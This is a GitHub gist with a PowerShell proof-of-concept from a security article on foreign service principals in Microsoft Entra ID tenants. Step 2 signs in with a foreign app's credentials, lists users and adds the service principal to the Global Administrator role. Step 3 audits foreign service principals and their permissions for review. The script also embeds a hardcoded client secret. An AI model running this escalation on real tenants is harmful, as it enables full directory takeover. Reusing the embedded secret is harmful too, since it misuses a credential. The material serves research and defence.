Skip to content

Instantly share code, notes, and snippets.

@m8r1us
Last active April 8, 2024 14:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save m8r1us/86434d2fb7b9e31a71ba4295d6cb2a3a to your computer and use it in GitHub Desktop.
Save m8r1us/86434d2fb7b9e31a71ba4295d6cb2a3a to your computer and use it in GitHub Desktop.
Foreign service principal POC
# The script is part of the following article: https://www.scip.ch/en/?labs.20240404
$myTenantId = "cdfdd915-c827-..." # The tenant registering the foreign application (Source: My Tenant)
$foreignTenantId = "d2a16643-37f9-4a19-..." # The tenant who is hosting the application (Source: Foreign Tenant)
$spPassword = "5YB8Q~iFPkt7WXYbqZkzi42BqpPgVJCWR-assd1" # The client secret from the app (Source: Foreign Tenant)
$appName = "foreignApp" # The app name (Source: Foreign Tenant)
# --------------
#Step 0 (Foreign Tenant): Create an application in the portal
# --------------
# Create the multitenant app in the foreign tenant according to the article
# Name: foreignApp
# --------------
#Step 1 (My Tenant): Register the foreign app in the Tenant
# --------------
# Register the foreignapp application according to the article
# Browse to https://login.microsoftonline.com/organizations/adminconsent?client_id=<client id>
# --------------
#Step 2 (Foreign Tenant): Login with the service principal
# --------------
# Get the client App ID from the application
Write-Host "[*] Login with the foreign tenant admin to get the application client id of the app $($appName)`n" -ForegroundColor red
Connect-MgGraph -scopes "Application.Read.All" -TenantId $foreignTenantId -NoWelcome
Write-Host "[*] Output the connection context" -ForegroundColor red
Get-MgContext
$appFilter = "displayName eq '$($appName)'"
$foreignApp = Get-MgServicePrincipal -All -Filter $appFilter
Write-Host "[*] The application client id of the app $($appName) is: $($foreignApp.AppId)`n" -ForegroundColor red
Disconnect-MgGraph | Out-null
Write-Host "[*] Login with the Service Principal credentials from the foreign tenant to the my tenant`n" -ForegroundColor red
$spPwd= ConvertTo-SecureString $spPassword -AsPlainText -Force
$psCred = New-Object System.Management.Automation.PSCredential($foreignApp.AppId, $spPwd)
Connect-MgGraph -TenantId $myTenantId -ClientSecretCredential $psCred -NoWelcome
Write-Host "[*] Output the connection context`n" -ForegroundColor red
Get-MgContext
# Find the foreign Service Principal
$appFilter = "displayName eq '$($appName)'"
$foreignsp = Get-MgServicePrincipal -All -Filter $appFilter
Write-Host "[*] Output 5 users -> With the Directory.Read.All AppRole we can now query the users `n" -ForegroundColor red
Get-MgUser -top 5 | select userprincipalname
Write-Host "[*] With the AppRole RoleManagement.ReadWrite.Directory we can add the Service Principal to the Global Administrator role `n" -ForegroundColor red
# Assign the Global Administrator role to the foreign Service Principal
$globalAdmin = Get-MgDirectoryRole | Where-Object { $_.DisplayName -eq "Global Administrator" }
New-MgDirectoryRoleMemberByRef -DirectoryRoleId $globalAdmin.Id -BodyParameter @{"@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$($foreignsp.id)"}
$roleMembers = Invoke-MgGraphRequest -Method GET "https://graph.microsoft.com/beta/directoryRoles/$($globalAdmin.Id)/members?`$select=id,displayName,appOwnerOrganizationId,publisherName,userPrincipalName,servicePrincipalType,appId"
$roleMembers = $roleMembers["value"] | ForEach-Object {
[PSCustomObject]@{
objectid = $_.id
DisplayName = $_.displayName
userPrincipalName = $_.userPrincipalName
appid = $_.appId
appOwnerOrganizationId = $_.appOwnerOrganizationId
publisher = $_.publisherName
servicePrincipalType = $_.servicePrincipalType
}
}
Write-Host "[*] Members of the Global Administrator role including the foreign service principal `n" -ForegroundColor red
$roleMembers | select displayName, userPrincipalName, servicePrincipalType, objectid
$roleMembers | Out-GridView -Title "Members of the Global Administrator role"
Disconnect-MgGraph | Out-null
# --------------
#Step 3 (My Tenant): Find foreign service principals with application permissions
# --------------
Write-Host "[*] Login with the MyTenant Admin `n" -ForegroundColor Green
Connect-MgGraph -scopes "Application.Read.All" -NoWelcome
Write-Host "[*] Output the connection context `n" -ForegroundColor Green
$mgcontext = Get-MgContext
$mgcontext
$foreignsp = Get-MgServicePrincipal -All | Where-Object { $_.AppOwnerOrganizationId -ne $mgcontext.TenantId -and $_.AppOwnerOrganizationId -ne $null }
$collSpAppRolePermissions = ""
$collSpAppRolePermissions = New-Object System.Collections.ArrayList
$progress = 0
$TotalCount = $foreignsp.Count
# Query for AppRoles once and store in a hashtable
$appRolesHashTable = @{}
$allAppRoles = Get-MgServicePrincipal -All | Select-Object Id,AppRoles
foreach ($appRole in $allAppRoles) {
foreach ($role in $appRole.AppRoles) {
$appRolesHashTable["$($appRole.Id)-$($role.Id)"] = $role
}
}
foreach ($sp in $foreignsp)
{
$DisplayName = $sp.DisplayName
$Progress += 1
$ProgressPercentage = (($Progress / $TotalCount) * 100) -As [Int]
If ($Progress -eq $TotalCount) {
Write-Host "[*] Processing Service Principals: [${Progress}/${TotalCount}][${ProgressPercentage}%] Current Service Principals: ${DisplayName}`n" -ForegroundColor Green
} else {
If (($Progress % 100) -eq 0) {
Write-Host "[*] Processing Service Principals: [${Progress}/${TotalCount}][${ProgressPercentage}%] Current Service Principals: ${DisplayName}" -ForegroundColor Green
}
}
# AppPermission - What application permissions have been assigned to the service principal?
$spAppRolePermissions = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $sp.id -All | Select-Object PrincipalId,PrincipalType,ResourceId,ResourceDisplayName,Id,PrincipalDisplayName,AppRoleId
foreach ($spAppRolePermission in $spAppRolePermissions)
{
#Translate Rights
$getAppRole = $appRolesHashTable["$($spAppRolePermission.ResourceId)-$($spAppRolePermission.AppRoleId)"]
$customObject = [PSCustomObject]@{
mytenant = $mgcontext.TenantId
foreigntenant = $sp.AppOwnerOrganizationId
principalDisplayName = $spAppRolePermission.PrincipalDisplayName
principalId = $spAppRolePermission.PrincipalId
principalType = $spAppRolePermission.PrincipalType
resourceId = $spAppRolePermission.ResourceId
resourceDisplayName = $spAppRolePermission.ResourceDisplayName
appRoleId = $spAppRolePermission.AppRoleId
appRoleIdd = $getAppRole.Id
appRoleValue = $getAppRole.Value -replace '\.', ''
appDisplayname = $getAppRole.DisplayName
appDescription = $getAppRole.Description
}
$null = $CollSpAppRolePermissions.Add($customObject)
}
}
Write-Host "[*] All foreign service principals found are displayed below for review `n" -ForegroundColor Green
$CollSpAppRolePermissions | select mytenant, foreigntenant, principalDisplayName, principalId, appRoleValue
$CollSpAppRolePermissions | Out-GridView -Title "Foreign Service Principal with AppRoles"
Disconnect-MgGraph | Out-null
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment